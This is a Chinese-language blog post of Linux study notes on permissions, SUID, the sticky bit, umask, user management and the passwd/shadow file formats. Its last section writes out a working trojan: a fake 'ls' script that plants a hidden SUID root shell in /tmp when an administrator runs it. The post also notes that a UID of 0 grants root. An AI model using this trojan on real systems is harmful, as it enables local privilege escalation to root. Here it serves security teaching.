Linux學習筆記(五)-安全管理以及開發基礎技術

安全管理以及開發基礎技術

一. 文件安全設置
1. 文件的讀寫、執行許可設置
這裏寫圖片描述

例如:在某以目錄下輸入命令ll,則
這裏寫圖片描述

1.1. 幾種基本的命令所需要的權限
這裏寫圖片描述

1.2. 什麼是SUID
- suid的概念:能夠讓在二進制文件上有執行權限的用戶,在運行這個二進制文件時,暫時具有屬主的權限
- suid在文件權限上表現爲:屬主的執行權限位由x變成了s
- 例如,passwd命令用於修改自己的口令,是每個用戶都可以運行的。但是其需要修改/etc/passwd,而後者只有root纔有權限修改;因此, passwd命令需要設置suid,這樣在其運行過程中會臨時切換爲root,當該命令執行完畢後,在切換爲自己的用戶身份

//實驗
#which passwd
/usr/bin/passwd
#ls –l /bin/passwd /etc/passwd
-r-s  - - x - - x 1 root root 19366 sep  7 2004 /usr/bin/passwd
-rw- r- - r - -   1 root root 1653  eb 21 08:02 /etc/passwd

1.3. 什麼是Sticky bit
- 要刪除一個文件,你不一定要有這個文件的寫權限,但你一定要有這個文件的上級目錄的寫權限。也就是說,你即使沒有一個文件的寫權限,但你有這個文件的上級目錄的寫權限,你也可以把這個文件給刪除,而如果沒有一個目錄的寫權限,也就不能在這個目錄下創建文件
- 如何才能使一個目錄既可以讓任何用戶寫入文件,又不讓用戶刪除這個目錄下他人的文件,sticky就是能起到這個作用。stciky一般只用在目錄上,用在文件上起不到什麼作用
- 在一個目錄上設了sticky位後,(如/home,權限爲777)所有的用戶都可以在這個目錄下創建文件,但只能刪除自己創建的文件(root除外),這就對所有用戶能寫的目錄下的用戶文件啓到了保護的作用
- 舉例來說,/tmp本身的權限是“drwxrwxrwt”,在這樣的權限內容下,任何人都可以在 /tmp內新增、修改文件,但僅有該文件/目錄的建立者與root能夠刪除自己的目錄或文件

例子:設置和刪除Stick bit

 #mkdir tmp
 #ls -ld tmp
 drwxr-xr-x  2 root root 4096 Apr 30 23:44 tmp
 #chmod +t tmp
 #ls –ld tmp
 drwxr-xr-t  2 root root 4096 Apr 30 23:44 tmp
 #chmod –t tmp 
 #ls –ld tmp
 drwxr-xr-x  2 root root 4096 Apr 30 23:44 tmp

注意:stciky一般只用在目錄上,用在文件上起不到什麼作用

1.4. 關於chmod命令
這裏寫圖片描述
1.5. 關於unmask
當我們創建一個文件或者文件夾時,他們會有怎樣的權限呢?事實上,新建文件夾或文件的權限是由所謂基本碼減去稱之爲umask的屏蔽位得到的
- 按照規定:文件夾的基本碼是rwxrwxrwx(777),文件的基本碼是rw-rw-rw-(666).
- 而屏蔽位則是在/etc/profile(所有人)或者~/.bash_profile中設定的。如果上述文件中皆無設定則默認就是022
- 我們可以在shell下面輸入umask命令查看/修改當前的系統屏蔽位

#umask 0022
#umask
0022

因此新建文件夾是777-022=755(rwxr-xr-x),新建文件是666-022= 644(rw-r–r–)

[root@localhost tmp]# mkdir hah
[root@localhost tmp]# touch hah.txt
[root@localhost tmp]# ll
total 12
drwxr-xr-x  2 root root 4096 May  1 00:02 hah
-rw-r--r--  1 root root    0 May  1 00:02 hah.txt

二. 用戶管理、組管理
1. 用戶的角色區分
- 用戶在系統中是分角色的,在Linux 系統中,由於角色不同,權限和所完成的任務也不同
- 值得注意的是用戶的角色是通過UID識別的;在系統管理中,系統管理員一定要堅守UID 唯一的特性
- root 用戶:系統唯一,是真實的,可以登錄系統,可以操作系統任何文件和命令,擁有最高權限
2. 虛擬用戶與普通的真實用戶
虛擬用戶:這類用戶也被稱之爲僞用戶或假用戶,與真實用戶區分開來,這類用戶不具有登錄系統的能力,但卻是系統運行不可缺少的用戶
- 比如bin、daemon、adm、ftp、mail等
- 這類用戶都系統自身擁有的,而非後來添加的,當然我們也可以添加虛擬用戶
普通的真實用戶
- 這類用戶能登錄系統,但只能操作自己家目錄的內容
- 權限有限
- 這類用戶都是系統管理員自行添加的
3. 用戶和用戶組的對應關係是:一對一、多對一、一對多或多對多
- 一對一:某個用戶可以是某個組的唯一成員
- 多對一:多個用戶可以是某個唯一的組的成員,不歸屬其它用戶組;比如user001和linuxsir兩個用戶只歸屬於user001用戶組
- 一對多:某個用戶可以是多個用戶組的成員;比如user001可以是root組成員,也可以是linuxsir用戶組成員,還可以是adm用戶組成員
- 多對多:多個用戶對應多個用戶組,並且幾個用戶可以歸屬相同的組;其實多對多的關係是前面三條的擴展
4. 用戶和組的配置文件
4.1. 與用戶(user)相關的配置文件

/etc/passwd :用戶(user)的配置文件;
/etc/shadow :用戶(user)影子口令文件

4.2. 與用戶組(group)相關的配置文件

/etc/group :用戶組(group)配置文件;
/etc/gshadow :用戶組(group)的影子文件

4.3. 管理用戶(user)的工具或命令

//useradd(或adduser) :添加用戶,例如
#useradd user001
//Passwd :爲用戶設置密碼,例如
#passwd user001

//usermod :修改用戶命令,可以通過usermod 來修改登錄名、用戶的家目錄等等

4.4 useradd 不加參數選項時,後面直接跟所添加的用戶名時

  1. 系統時讀取添加用戶配置文件/etc/login.defs和/etc/default/useradd文件,
  2. 然後讀取/etc/login.defs和/etc/default/useradd中所定義的規則添加用戶;
  3. 並向/etc/passwd和/etc/groups文件添加用戶和用戶組記錄;
  4. 當然/etc/passwd和/etc/groups的加密資訊文件也同步生成記錄;
  5. 並複製/etc/skel中的文件(包括隱藏文件)到新用戶的家目錄中;

4.5 兩個實例
實例一:不加任何參數,直接添加用戶:

    # useradd user001
    # ls –ld /home/user001/
    drwxr-xr-x 3 user001 user001 4096 112 15:20 /home/user001/

    //在這個例子中,我們添加了user001用戶,我們在查看/home/目錄時,會發現系統自建了一個user001的目錄;
   //我們再來查看 /etc/passwd 文件有關user001的記錄,也會有新發現;我們通過more 來讀取 /etc/passwd 文件,並且通過grep 來抽取 user001字段,得出如下一行;
   # more /etc/passwd | grep user001
   user001:x:509:509::/home/user001linux:/bin/bash

實例二:
想把添加用戶時的默認SHELL /bin/bash 改爲 /bin/tcsh ,則應該用下面的命令

    # useradd -D -s /bin/tcsh //注:把添加用戶時的SHELL 改爲tcsh ;
    # more /etc/default/useradd //注:查看是否成功;
    # useradd defaults file
    GROUP=100
    HOME=/home
    INACTIVE=-1
    EXPIRE=
    SHELL=/bin/tcsh //注:成功;
    SKEL=/etc/skelCREATE_MAIL_SPOOL=no

4.6. passwd 設置或修改用戶密碼
- passwd 作爲普通用戶和超級權限用戶都可以運行,但作爲普通用戶只能更改自己的用戶密碼,但前提是沒有被root用戶鎖定;如果root用戶運行passwd ,可以設置或修改任何用戶的密碼
- passwd 命令後面不接任何參數或用戶名,則表示修改當前用戶的密碼

//比如讓某個用戶不能修改密碼,可以用-l 參數來鎖定
# passwd -l user001     //鎖定用戶user001不能更改密碼
Locking password for user user001.
passwd: Success //鎖定成功
# su user001 //注:通過su切換到user001用戶
$ passwd //注:user001來更改密碼
Changing password for user user001
current) UNIX password:    //注:輸入user001的當前密碼
passwd: Authentication token manipulation error //注:失敗,不能更改密碼;


# passwd -d user001 //注:清除user001用戶密碼
Removing password for user user001
passwd: Success //注:清除成功
# passwd -S user001 //注:查詢user001用戶密碼狀態
Empty password. //注:空密碼,也就是沒有密碼


//注意:當我們清除一個用戶的密碼時,登錄時就無需密碼;這一點要加以注意

4.7. 刪除用戶和用戶組的工具

userdel 的語法格式:userdel [-r] 名稱

userdel很簡單,只有一個參數可選 -r ;如果加參數-r ,表示在刪除用戶的同時,一併把用戶的家目錄及本地郵件存儲的目錄或文件也一同刪除

4.8. /etc/skel 目錄
- /etc/skel目錄一般是存放用戶啓動文件的目錄,這個目錄是由root權限控制
- 當我們添加用戶時,這個目錄下的文件自動複製到新添加的用戶的家目錄下
- /etc/skel 目錄下的文件都是隱藏文件,也就是類似.file格式的
- 我們可通過修改、添加、刪除/etc/skel目錄下的文件,來爲用戶提供一個統一、標準的、默認的用戶環境
這裏寫圖片描述

4.9. /etc/passwd
- /etc/passwd 是系統識別用戶的一個文件
- 做個不恰當的比喻,/etc/passwd 是一個花名冊,系統所有的用戶都在這裏有登錄記載
- 當我們以user001 這個賬號登錄時

  a. 系統首先會查閱 /etc/passwd 文件,看是否有user001 這個賬號
  b. 然後確定user001的UID,通過UID 來確認用戶和身份
  c. 如果存在則讀取/etc/shadow 影子文件中所對應的user001的密碼
  d. 如果密碼覈實無誤則登錄系統,讀取用戶的配置文件
  • 在/etc/passwd 中,每一行都表示的是一個用戶的信息;一行有7個段位;每個段位用:號分割。例如:
user001:x:500:500:user001 sun:/home/user001:/bin/bash
linuxsir:x:505:502:linuxsir open,linuxsir office,13898667715:/home/linuxsir:/bin/bash
user001:x:500:500:user001 sun:/home/user001:/bin/bash
linuxsir:x:501:502::/home/linuxsir:/bin/bash
第一字段:用戶名(也被稱爲登錄名);在上面的例子中,我們看到這兩個用戶的用戶名分別是 user001 和linuxsir;
第二字段:口令;在例子中我們看到的是一個x,其實密碼已被映射到/etc/shadow 文件中;
第三字段:UID ;
第四字段:GID;
第五字段:用戶名全稱,這是可選的,可以不設置,在user001這個用戶中,用戶的全稱是user001 sun ;而linuxsir 這個用戶是沒有設置全稱;
第六字段:用戶的家目錄所在位置;user001 這個用戶是/home/user001 ,而linuxsir 這個用戶是/home/linuxsir ;
第七字段:用戶所用SHELL 的類型,user001和linuxsir 都用的是 bash ;所以設置爲/bin/bash 

4.10. 關於UID
- UID 是用戶的ID 值,在系統中每個用戶的UID的值是唯一的,更確切的說每個用戶都要對應一個唯一的UID ,系統管理員應該確保這一規則
- 系統用戶的UID的值從0開始,是一個正整數,至於最大值可以在/etc/login.defs 可以查到,一般Linux發行版約定爲60000; 在Linux 中,root的UID是0,擁有系統最高權限
- UID 在系統唯一特性,做爲系統管理員應該確保這一標準,UID 的唯一性關係到系統的安全,應該值得我們關注
- 比如在/etc/passwd 中把user001的UID 改爲0後,設想會發生什麼呢?user001這個用戶會被確認爲root用戶。user001這個帳號可以進行所有root的操作
- UID 是確認用戶權限的標識,用戶登錄系統所處的角色是通過UID 來實現的,而非用戶名
- 把幾個用戶共用一個UID 是危險的,比如我們上面所談到的,把普通用戶的UID 改爲0,和root共用一個UID ,這事實上就造成了系統管理權限的混亂
- 如果我們想用root權限,可以通過su或sudo來實現;切不可隨意讓一個用戶和root分享同一個UID
- UID是唯一性,只是要求管理員所做的,其實我們修改/etc/passwd 文件,可以修改任何用戶的UID的值爲0

4.11. /etc/shadow
- /etc/shadow文件是/etc/passwd 的影子文件
- 這兩個文件是應該是對應互補的;shadow內容包括用戶及被加密的密碼以及其它/etc/passwd 不能包括的信息,比如用戶的有效期限等
- 這個文件只有root權限可以讀取和操作,權限如下:

-r-------- 1 root root 1.5K 10月 16 09:49 /etc/shadow
  • /etc/shadow 的權限不能隨便改爲其它用戶可讀,這樣做是危險的。如果您發現這個文件的權限變成了其它用戶組或用戶可讀了,要進行檢查,以防系統安全問題的發生
  • 如果我們以普通用戶查看這個文件時,應該什麼也查看不到,提示是權限不夠
user001@localhost ~]$ more /etc/shadow
/etc/shadow: 權限不夠
  • /etc/shadow 文件的內容包括9個段位,每個段位之間用:號分割
//例子
       user001:$1$VE.Mq2Xf$2c9Qi7EQ9JP8GKF8gH7PB1:13072:0:99999:7:::
       linuxsir:$1$IPDvUhXP$8R6J/VtPXvLyXxhLWPrnt/:13072:0:99999:7::13108:



第一字段:用戶名(也被稱爲登錄名),在/etc/shadow中,用戶名和/etc/passwd 是相同的,這樣就把passwd 和shadow中用的用戶記錄聯繫在一起;這個字段是非空的;

第二字段:密碼(已被加密),如果是有些用戶在這段是x,表示這個用戶不能登錄到系統;這個字段是非空的;

第三字段:上次修改口令的時間;這個時間是從19700101日算起到最近一次修改口令的時間間隔(天數),您可以通過passwd 來修改用戶的密碼,然後查看/etc/shadow中此字段的變化;

第四字段:兩次修改口令間隔最少的天數;如果設置爲0,則禁用此功能;也就是說用戶必須經過多少天才能修改其口令;此項功能用處不是太大;默認值是通過/etc/login.defs文件定義中獲取,PASS_MIN_DAYS 中有定義;

第五字段:兩次修改口令間隔最多的天數;這個能增強管理員管理用戶口令的時效性,應該說在增強了系統的安全性;如果是系統默認值,是在添加用戶時由/etc/login.defs文件定義中獲取,在PASS_MAX_DAYS 中定義

第六字段:提前多少天警告用戶口令將過期;當用戶登錄系統後,系統登錄程序提醒用戶口令將要作廢;如果是系統默認值,是在添加用戶時由/etc/login.defs文件定義中獲取,在PASS_WARN_AGE 中定義;

第七字段:在口令過期之後多少天禁用此用戶;此字段表示用戶口令作廢多少天后,系統會禁用此用戶,也就是說系統會不能再讓此用戶登錄,也不會提示用戶過期,是完全禁用;

第八字段:用戶過期日期;此字段指定了用戶作廢的天數(從1970年的11日開始的天數),如果這個字段的值爲空,帳號永久可用;

第九字段:保留字段,目前爲空,以備將來Linux發展之用

五. 一個木馬的例子

$ cd /home/hacker
$ vi ls
//編輯文件
  #!/usr/bin/ksh
  cp /usr/bin/ksh /tmp/.hacker
  chown root /tmp/.hacker
  chmod u+s /tmp/.hacker

  rm -f $0

  /usr/bin/ls $*

$ chmod a+x ls



//需要管理員在另一個窗口執行
# cd /home/hacker
# ls
-i

//hacker用戶就可以在自己的窗口執行
$ cd /tmp
$ .hacker
#   //獲得管理員權限
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章